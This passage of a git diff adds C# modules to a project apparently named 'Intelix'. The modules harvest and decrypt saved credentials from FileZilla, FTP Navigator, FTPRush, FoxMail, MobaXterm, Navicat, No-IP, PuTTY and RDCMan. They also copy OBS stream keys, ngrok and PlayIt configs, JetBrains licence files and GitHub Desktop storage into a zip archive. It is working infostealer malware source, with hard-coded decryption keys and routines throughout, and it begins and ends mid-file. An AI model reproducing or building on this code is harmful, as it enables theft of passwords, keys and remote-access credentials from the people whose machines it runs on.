(string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt"); + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/FTPNavigator.cs b/Intelix.Targets.Applications/FTPNavigator.cs new file mode 100644 index 0000000..7a692d1 --- /dev/null +++ b/Intelix.Targets.Applications/FTPNavigator.cs @@ -0,0 +1,50 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPNavigator : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\FTP Navigator\\Ftplist.txt"; + if (!File.Exists(text)) + { + return; + } + string[] array = File.ReadAllLines(text); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTP Navigator" + }; + string[] array2 = array; + foreach (string text2 in array2) + { + if (!string.IsNullOrWhiteSpace(text2)) + { + string[] array3 = text2.Split(';'); + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPNavigator/Hosts.txt"); + } + } + } + if (list.Count > 0) + { + string text7 = "FTP/FTPNavigator/Hosts.txt"; + zip.AddFile(text7, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text7); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/FTPRush.cs b/Intelix.Targets.Applications/FTPRush.cs new file mode 100644 index 0000000..2c6d44b --- /dev/null +++ b/Intelix.Targets.Applications/FTPRush.cs @@ -0,0 +1,68 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPRush : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\Documents\\FTPRush\\site.json"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text); + Regex regex = new Regex("\"Server\"\\s*:\\s*\\{(.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\"Host\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex3 = new Regex("\"Port\"\\s*:\\s*(?\\d+)", RegexOptions.IgnoreCase); + Regex regex4 = new Regex("\"Username\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + Regex regex5 = new Regex("\"Base64Password\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPRush" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (!match.Success) + { + continue; + } + string value2 = match.Groups["host"].Value; + Match match2 = regex3.Match(value); + string text2 = (match2.Success ? match2.Groups["port"].Value : "21"); + Match match3 = regex4.Match(value); + string text3 = (match3.Success ? match3.Groups["user"].Value : ""); + Match match4 = regex5.Match(value); + string text4 = ""; + if (match4.Success && !string.IsNullOrEmpty(match4.Groups["b64"].Value)) + { + try + { + byte[] bytes = Convert.FromBase64String(match4.Groups["b64"].Value); + text4 = Encoding.UTF8.GetString(bytes); + } + catch + { + text4 = ""; + } + } + list.Add("Url: " + value2 + ":" + text2 + "\nUsername: " + text3 + "\nPassword: " + text4 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPRush/Hosts.txt"); + } + if (list.Count > 0) + { + string text5 = "FTP/FTPRush/Hosts.txt"; + zip.AddFile(text5, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text5); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/FileZilla.cs b/Intelix.Targets.Applications/FileZilla.cs new file mode 100644 index 0000000..0abae28 --- /dev/null +++ b/Intelix.Targets.Applications/FileZilla.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FileZilla : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\FileZilla\\"; + string[] array = new string[2] + { + text + "recentservers.xml", + text + "sitemanager.xml" + }; + if (!File.Exists(array[0]) && !File.Exists(array[1])) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FileZilla"; + List list = new List(); + string[] array2 = array; + foreach (string text2 in array2) + { + if (!File.Exists(text2)) + { + continue; + } + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.Load(text2); + foreach (XmlNode item in xmlDocument.GetElementsByTagName("Server")) + { + string text3 = item?["Pass"]?.InnerText; + if (!string.IsNullOrEmpty(text3)) + { + string text4 = "ftp://" + item["Host"]?.InnerText + ":" + item["Port"]?.InnerText + "/"; + string text5 = item["User"]?.InnerText; + string text6 = Encoding.UTF8.GetString(Convert.FromBase64String(text3)); + list.Add("Url: " + text4 + "\nUsername: " + text5 + "\nPassword: " + text6); + } + } + string text7 = "FTP/FileZilla/" + Path.GetFileName(text2); + zip.AddFile(text7, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text7); + } + string text8 = "FTP/FileZilla/Hosts.txt"; + counterApplications.Files.Add(text8 ?? ""); + zip.AddTextFile(text8, string.Join("\n\n", list.ToArray())); + counter.Applications.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Applications/FoxMail.cs b/Intelix.Targets.Applications/FoxMail.cs new file mode 100644 index 0000000..eb8cf48 --- /dev/null +++ b/Intelix.Targets.Applications/FoxMail.cs @@ -0,0 +1,202 @@ +using System; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class FoxMail : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command"); + if (registryKey == null) + { + return; + } + string text = registryKey.GetValue("") as string; + if (string.IsNullOrEmpty(text)) + { + return; + } + int num = text.LastIndexOf("Foxmail.exe", StringComparison.OrdinalIgnoreCase); + if (num < 0) + { + return; + } + string path = Path.Combine(text.Substring(0, num).Replace("\"", "").TrimEnd('\\', ' '), "Storage"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "FoxMail"; + string[] directories = Directory.GetDirectories(path, "*@*", SearchOption.TopDirectoryOnly); + foreach (string text2 in directories) + { + string fileName = Path.GetFileName(text2); + string text3 = Path.Combine(text2, "Accounts"); + if (!Directory.Exists(text3)) + { + continue; + } + string text4 = Path.Combine(text3, "Account.rec0"); + if (File.Exists(text4)) + { + string text5 = Path.Combine(Path.GetTempPath(), $"Account_{Guid.NewGuid():N}.rec"); + File.Copy(text4, text5, overwrite: true); + bool found; + int ver; + string text6 = ParseSecretFileAndGetPassword(text5, out found, out ver); + if (found) + { + string text7 = "Foxmail\\" + fileName + "\\Account.txt"; + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("E-Mail: " + fileName); + stringBuilder.AppendLine("Password: " + text6); + stringBuilder.AppendLine("FoxmailVersionDetected: " + ((ver == 0) ? "6.x" : "7.x or later")); + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text4 + " => " + text7); + } + else + { + string text8 = "Foxmail\\" + fileName + "\\Account.rec0"; + zip.AddFile(text8, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text8); + } + File.Delete(text5); + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } + + private string ParseSecretFileAndGetPassword(string path, out bool found, out int ver) + { + found = false; + ver = 1; + byte[] array = File.ReadAllBytes(path); + if (array == null || array.Length == 0) + { + return string.Empty; + } + if (array[0] == 208) + { + ver = 0; + } + else + { + ver = 1; + } + string text = ""; + string value = ""; + for (int i = 0; i < array.Length; i++) + { + byte b = array[i]; + if (b > 32 && b < 127 && b != 61) + { + string text2 = text; + char c = (char)b; + text = text2 + c; + if (text.Equals("Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if (text.Equals("POP3Account", StringComparison.Ordinal)) + { + value = ReadAsciiValue(array, ref i, ver); + text = ""; + } + else if ((text.Equals("Password", StringComparison.Ordinal) || text.Equals("POP3Password", StringComparison.Ordinal)) && !string.IsNullOrEmpty(value)) + { + string strHash = ReadAsciiValue(array, ref i, ver); + string result = DecodePW(ver, strHash); + found = true; + return result; + } + } + else + { + text = ""; + } + } + return string.Empty; + } + + private string ReadAsciiValue(byte[] bits, ref int jx, int ver) + { + int i = jx + 9; + if (ver == 0) + { + i = jx + 2; + } + StringBuilder stringBuilder = new StringBuilder(); + for (; i < bits.Length && bits[i] > 32 && bits[i] < 127; i++) + { + stringBuilder.Append((char)bits[i]); + } + jx = i; + return stringBuilder.ToString(); + } + + private string DecodePW(int ver, string strHash) + { + string text = string.Empty; + int[] array; + int num; + if (ver == 0) + { + array = new int[8] { 126, 100, 114, 97, 71, 111, 110, 126 }; + num = Convert.ToInt32("5A", 16); + } + else + { + array = new int[8] { 126, 70, 64, 55, 37, 109, 36, 126 }; + num = Convert.ToInt32("71", 16); + } + int num2 = strHash.Length / 2; + int num3 = 0; + int[] array2 = new int[num2]; + for (int i = 0; i < num2; i++) + { + array2[i] = Convert.ToInt32(strHash.Substring(num3, 2), 16); + num3 += 2; + } + int[] array3 = new int[array2.Length]; + array3[0] = array2[0] ^ num; + if (array2.Length > 1) + { + Array.Copy(array2, 1, array3, 1, array2.Length - 1); + } + while (array2.Length > array.Length) + { + int[] array4 = new int[array.Length * 2]; + Array.Copy(array, 0, array4, 0, array.Length); + Array.Copy(array, 0, array4, array.Length, array.Length); + array = array4; + } + int[] array5 = new int[array2.Length]; + for (int j = 1; j < array2.Length; j++) + { + array5[j - 1] = array2[j] ^ array[j - 1]; + } + int[] array6 = new int[array5.Length]; + for (int k = 0; k < array5.Length - 1; k++) + { + if (array5[k] - array3[k] < 0) + { + array6[k] = array5[k] + 255 - array3[k]; + } + else + { + array6[k] = array5[k] - array3[k]; + } + text += (char)array6[k]; + } + return text; + } +} diff --git a/Intelix.Targets.Applications/GithubGui.cs b/Intelix.Targets.Applications/GithubGui.cs new file mode 100644 index 0000000..f9b531a --- /dev/null +++ b/Intelix.Targets.Applications/GithubGui.cs @@ -0,0 +1,42 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class GithubGui : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\GitHub Desktop\\Local Storage\\leveldb\\"; + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "GithubGui"; + string[] allowedExtensions = new string[2] { ".log", ".ldb" }; + Parallel.ForEach(Directory.GetFiles(path), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text3 = "GithubGui\\leveldb\\" + Path.GetFileName(file); + zip.AddFile(text3, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text3); + } + }); + string text = "C:\\Users\\" + Environment.UserName + "\\.gitconfig"; + if (File.Exists(text)) + { + string text2 = "GithubGui\\.gitconfig"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count() > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/JetBrains.cs b/Intelix.Targets.Applications/JetBrains.cs new file mode 100644 index 0000000..eba7dff --- /dev/null +++ b/Intelix.Targets.Applications/JetBrains.cs @@ -0,0 +1,39 @@ +using System; +using System.IO; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class JetBrains : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "JetBrains"); + if (!Directory.Exists(path)) + { + return; + } + string[] allowedExtensions = new string[2] { ".key", ".license" }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "JetBrains"; + Parallel.ForEach(Directory.GetDirectories(path), delegate(string apps) + { + Parallel.ForEach(Directory.GetFiles(apps), delegate(string file) + { + if (allowedExtensions.Contains(Path.GetExtension(file))) + { + string text = "JetBrains\\" + Path.GetFileName(apps) + "\\" + Path.GetFileName(file); + zip.AddFile(text, File.ReadAllBytes(file)); + counterApplications.Files.Add(file + " => " + text); + } + }); + }); + if (counterApplications.Files.Count() > 0) + { + counterApplications.Files.Add("JetBrains\\"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/MobaXterm.cs b/Intelix.Targets.Applications/MobaXterm.cs new file mode 100644 index 0000000..5818a27 --- /dev/null +++ b/Intelix.Targets.Applications/MobaXterm.cs @@ -0,0 +1,170 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class MobaXterm : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string entropy = (string)Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm").GetValue("SessionP"); + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\m"); + string name = registryKey.GetValueNames()[0]; + string base64Value = (string)registryKey.GetValue(name); + byte[] key = DecryptMobaXtermMasterKey(base64Value, entropy); + RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Mobatek\\MobaXterm\\C"); + string[] valueNames = registryKey2.GetValueNames(); + foreach (string text in valueNames) + { + string[] array = ((string)registryKey2.GetValue(text)).Split(new char[1] { ':' }, 2); + string text2 = array[0]; + string ciphertextBase = array[1]; + string text3 = DecryptCredential(key, ciphertextBase); + Console.WriteLine("[*] Name: " + text); + Console.WriteLine("[*] Username: " + text2); + Console.WriteLine("[*] Password: " + text3); + Console.WriteLine(); + } + } + + private byte[] DecryptMobaXtermMasterKey(string base64Value, string Entropy) + { + byte[] array = new byte[20] + { + 1, 0, 0, 0, 208, 140, 157, 223, 1, 21, + 209, 17, 140, 122, 0, 192, 79, 194, 151, 235 + }; + byte[] array2 = Convert.FromBase64String(base64Value); + byte[] array3 = new byte[array.Length + array2.Length]; + Buffer.BlockCopy(array, 0, array3, 0, array.Length); + Buffer.BlockCopy(array2, 0, array3, array.Length, array2.Length); + byte[] bytes = Encoding.UTF8.GetBytes(Entropy); + return ProtectedData.Unprotect(array3, bytes, DataProtectionScope.CurrentUser); + } + + private string DecryptCredential(byte[] key, string ciphertextBase64) + { + byte[] array = LenientBase64Decode(ciphertextBase64); + byte[] inputBuffer = new byte[16]; + byte[] array2 = new byte[16]; + using (Aes aes = Aes.Create()) + { + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.None; + aes.Key = key; + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + cryptoTransform.TransformBlock(inputBuffer, 0, 16, array2, 0); + } + byte[] array3 = (byte[])array2.Clone(); + byte[] array4 = new byte[array.Length]; + using (Aes aes2 = Aes.Create()) + { + aes2.Mode = CipherMode.ECB; + aes2.Padding = PaddingMode.None; + aes2.Key = key; + using ICryptoTransform cryptoTransform2 = aes2.CreateEncryptor(); + byte[] array5 = new byte[16]; + for (int i = 0; i < array.Length; i++) + { + cryptoTransform2.TransformBlock(array3, 0, 16, array5, 0); + array4[i] = (byte)(array[i] ^ array5[0]); + Buffer.BlockCopy(array3, 1, array3, 0, 15); + array3[15] = array[i]; + } + } + return Encoding.Default.GetString(array4).TrimEnd(default(char)); + } + + private byte[] LenientBase64Decode(string s) + { + StringBuilder stringBuilder = new StringBuilder(s.Length); + foreach (char c in s) + { + switch (c) + { + case '-': + case '_': + stringBuilder.Append((c == '-') ? '+' : '/'); + continue; + default: + if ((c < 'a' || c > 'z') && (c < '0' || c > '9') && c != '+' && c != '/' && c != '=') + { + continue; + } + break; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + case 'G': + case 'H': + case 'I': + case 'J': + case 'K': + case 'L': + case 'M': + case 'N': + case 'O': + case 'P': + case 'Q': + case 'R': + case 'S': + case 'T': + case 'U': + case 'V': + case 'W': + case 'X': + case 'Y': + case 'Z': + break; + } + stringBuilder.Append(c); + } + string text = stringBuilder.ToString(); + int num = text.Length % 4; + if (num != 0) + { + text += new string('=', 4 - num); + } + List list = new List(text.Length * 3 / 4); + for (int j = 0; j < text.Length; j += 4) + { + int[] array = new int[4]; + for (int k = 0; k < 4; k++) + { + char c2 = text[j + k]; + if (c2 == '=') + { + array[k] = -1; + } + else + { + array[k] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".IndexOf(c2); + } + } + int num2 = array[0]; + int num3 = array[1]; + int num4 = array[2]; + int num5 = array[3]; + byte item = (byte)((num2 << 2) | ((num3 & 0x30) >> 4)); + list.Add(item); + if (num4 != -1) + { + byte item2 = (byte)(((num3 & 0xF) << 4) | ((num4 & 0x3C) >> 2)); + list.Add(item2); + } + if (num5 != -1) + { + byte item3 = (byte)(((num4 & 3) << 6) | num5); + list.Add(item3); + } + } + return list.ToArray(); + } +} diff --git a/Intelix.Targets.Applications/Navicat.cs b/Intelix.Targets.Applications/Navicat.cs new file mode 100644 index 0000000..31f512e --- /dev/null +++ b/Intelix.Targets.Applications/Navicat.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class Navicat : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Dictionary dictionary = new Dictionary + { + ["Navicat"] = "MySql", + ["NavicatMSSQL"] = "SQL Server", + ["NavicatOra"] = "Oracle", + ["NavicatPG"] = "pgsql", + ["NavicatMARIADB"] = "MariaDB" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Navicat"; + Navicat11Cipher navicat11Cipher = new Navicat11Cipher(); + foreach (string key in dictionary.Keys) + { + string text = "Software\\PremiumSoft\\" + key + "\\Servers"; + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey == null) + { + continue; + } + string text2 = dictionary[key]; + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text3 in subKeyNames) + { + RegistryKey registryKey2 = registryKey.OpenSubKey(text3); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("UserName"); + object value3 = registryKey2.GetValue("Pwd"); + string text4 = value.ToString(); + string text5 = value2.ToString(); + string ciphertext = value3.ToString(); + string text6 = navicat11Cipher.DecryptString(ciphertext); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("DatabaseType: " + text2); + stringBuilder.AppendLine("ConnectName: " + text3); + stringBuilder.AppendLine("Host: " + text4); + stringBuilder.AppendLine("UserName: " + text5); + stringBuilder.AppendLine("Password: " + text6); + string text7 = "Navicat\\" + text2 + "\\" + text3 + "\\connection.txt"; + zip.AddTextFile(text7, stringBuilder.ToString()); + counterApplications.Files.Add(text + "\\" + text3 + " => " + text7); + } + } + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/Ngrok.cs b/Intelix.Targets.Applications/Ngrok.cs new file mode 100644 index 0000000..d788230 --- /dev/null +++ b/Intelix.Targets.Applications/Ngrok.cs @@ -0,0 +1,23 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Ngrok : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ngrok", "ngrok.yml"); + if (File.Exists(text)) + { + string text2 = "Ngrok\\ngrok.yml"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Ngrok"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + counterApplications.Files.Add(text2); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/NoIp.cs b/Intelix.Targets.Applications/NoIp.cs new file mode 100644 index 0000000..93e90d0 --- /dev/null +++ b/Intelix.Targets.Applications/NoIp.cs @@ -0,0 +1,67 @@ +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class NoIp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "SOFTWARE\\Vitalwerks\\DUC\\v4"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text); + if (registryKey != null) + { + object value = registryKey.GetValue("CKey"); + object value2 = registryKey.GetValue("CID"); + object value3 = registryKey.GetValue("UserName"); + if (value != null || value2 != null || value3 != null) + { + string text2 = DecryptString((byte[])value2); + string text3 = DecryptString((byte[])value); + string text4 = DecryptString((byte[])value3); + string text5 = "NoIp\\Credentials.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "NoIp"; + counterApplications.Files.Add(text + " => " + text5); + counterApplications.Files.Add(text5); + zip.AddTextFile(text5, "clientid: " + text2 + "\nlogin: " + text4 + "\npassword hash: " + text3); + counter.Applications.Add(counterApplications); + } + } + } + + private string DecryptString(byte[] message) + { + try + { + if (message == null) + { + return null; + } + byte[] array = DpApi.Decrypt(message); + if (array == null) + { + return null; + } + byte[] key = new byte[16] + { + 127, 238, 115, 104, 83, 74, 138, 240, 49, 50, + 224, 252, 103, 181, 23, 117 + }; + using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider(); + tripleDESCryptoServiceProvider.Key = key; + tripleDESCryptoServiceProvider.Mode = CipherMode.ECB; + tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7; + using ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor(); + byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length); + return Encoding.UTF8.GetString(bytes); + } + catch + { + return null; + } + } +} diff --git a/Intelix.Targets.Applications/Obs.cs b/Intelix.Targets.Applications/Obs.cs new file mode 100644 index 0000000..ac52243 --- /dev/null +++ b/Intelix.Targets.Applications/Obs.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class Obs : ITarget +{ + private static readonly Regex SettingsRe = new Regex("\"settings\"\\s*:\\s*\\{(?.*?)\\}", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex ServiceRe = new Regex("\"service\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + private static readonly Regex KeyRe = new Regex("\"key\"\\s*:\\s*\"(?[^\"]*)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline); + + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "obs-studio", "basic", "profiles"); + if (!Directory.Exists(path)) + { + return; + } + string[] jsonFiles = new string[2] { "service.json", "service.json.bak" }; + ConcurrentBag infoLines = new ConcurrentBag(); + string[] directories = Directory.GetDirectories(path); + if (directories.Length == 0) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "OBS"; + Parallel.ForEach(directories, delegate(string profileDir) + { + string text2 = Path.GetFileName(profileDir) ?? profileDir; + string[] array = jsonFiles; + foreach (string text3 in array) + { + string text4 = Path.Combine(profileDir, text3); + if (File.Exists(text4)) + { + string text5 = File.ReadAllText(text4, Encoding.UTF8); + string text6 = "OBS\\" + text2 + "\\" + text3; + zip.AddFile(text6, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text6); + Match match = SettingsRe.Match(text5); + string input = (match.Success ? match.Groups["s"].Value : text5); + string value = ServiceRe.Match(input).Groups["v"].Value; + string value2 = KeyRe.Match(input).Groups["v"].Value; + if (!string.IsNullOrEmpty(value) || !string.IsNullOrEmpty(value2)) + { + infoLines.Add("Profile:" + text2 + " | File:" + text3 + " | Service:" + value + " | Key:" + value2); + } + } + } + }); + if (infoLines.Any()) + { + string text = "OBS\\OBS_ServiceKeys.txt"; + zip.AddTextFile(text, string.Join(Environment.NewLine, infoLines)); + counterApplications.Files.Add(text); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/PlayIt.cs b/Intelix.Targets.Applications/PlayIt.cs new file mode 100644 index 0000000..e5e9e7f --- /dev/null +++ b/Intelix.Targets.Applications/PlayIt.cs @@ -0,0 +1,33 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class PlayIt : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PlayIt"; + Parallel.ForEach(ProcessWindows.FindFile("playit.toml"), delegate(string toml) + { + string text3 = "PlayIt\\playit" + RandomStrings.GenerateHashTag() + ".toml"; + zip.AddFile(text3, File.ReadAllBytes(toml)); + counterApplications.Files.Add(toml + " => " + text3); + }); + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "playit_gg", "playit.toml"); + if (File.Exists(text)) + { + string text2 = "PlayIt\\playit.toml"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + if (counterApplications.Files.Count > 0) + { + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Applications/PuTTY.cs b/Intelix.Targets.Applications/PuTTY.cs new file mode 100644 index 0000000..cd5c23d --- /dev/null +++ b/Intelix.Targets.Applications/PuTTY.cs @@ -0,0 +1,62 @@ +using System; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class PuTTY : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "PuTTY"; + Logs(zip, counterApplications); + Sessions(zip, counterApplications); + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add("PuTTY\\"); + counter.Applications.Add(counterApplications); + } + } + + private void Logs(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "C:\\Program Files\\PuTTY\\putty.log"; + if (File.Exists(text)) + { + string text2 = "PuTTY\\putty.log"; + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + + private void Sessions(InMemoryZip zip, Counter.CounterApplications counterApplications) + { + string text = "Software\\SimonTatham\\PuTTY\\Sessions"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(text, writable: false); + if (registryKey == null) + { + return; + } + string[] array = registryKey.GetSubKeyNames().OrderBy((string x) => x, StringComparer.OrdinalIgnoreCase).ToArray(); + if (array.Length == 0) + { + return; + } + string[] array2 = array; + foreach (string text2 in array2) + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(text2, writable: false); + if (registryKey2 != null) + { + string text3 = "PuTTY\\session_" + text2 + ".txt"; + string text4 = string.Join("\n", RegistryParser.ParseKey(registryKey2)); + zip.AddTextFile(text3, text4); + counterApplications.Files.Add(text + "\\" + text2 + " => " + text3); + } + } + } +} diff --git a/Intelix.Targets.Applications/RDCMan.cs b/Intelix.Targets.Applications/RDCMan.cs new file mode 100644 index 0000000..92e7de9 --- /dev/null +++ b/Intelix.Targets.Applications/RDCMan.cs @@ -0,0 +1,124 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Xml; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class RDCMan : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft", "Remote Desktop Connection Manager", "RDCMan.settings"); + if (!File.Exists(path)) + { + return; + } + List list = new List(); + XmlDocument xmlDocument = new XmlDocument(); + xmlDocument.LoadXml(File.ReadAllText(path)); + XmlNodeList 